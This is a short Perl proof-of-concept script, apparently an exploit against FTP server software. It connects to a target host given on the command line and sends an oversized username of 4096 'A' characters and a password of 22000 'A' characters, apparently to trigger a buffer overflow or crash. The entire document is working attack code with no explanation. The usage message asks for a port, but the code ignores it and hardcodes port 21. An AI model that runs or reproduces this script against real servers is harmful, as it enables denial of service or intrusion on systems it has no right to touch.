Datei #vmiwnb00-3494

use Net::FTP;

(($target = $ARGV[0])) || die "usage:$0 <target> <port>";

my $user = "A" x 4096;

my $pass = "A" x 22000;

print "Trying to connect to :$target...\n";

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect";

print "Connected!\n";

$ftp->login($user, $pass);

print "Poc Successfull\n";

$ftp->quit;